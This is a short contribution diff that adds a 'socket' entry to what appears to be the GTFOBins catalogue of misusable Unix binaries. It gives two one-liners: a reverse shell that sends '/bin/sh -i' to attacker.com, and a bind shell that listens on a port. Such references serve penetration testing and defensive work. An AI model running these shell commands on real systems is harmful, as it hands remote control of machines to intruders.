Add socket

This supersedes and close #345.

_gtfobins/socket.md

@@ -0,0 +1,14 @@
+---
+function:
+  reverse-shell:
+    - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        socket -qvp '/bin/sh -i' $RHOST $RPORT
+  bind-shell:
+    - description: Run `nc target.com 12345` on the attacker box to connect to the shell.
+      code: |
+        LPORT=12345
+        socket -svp '/bin/sh -i' $LPORT
+---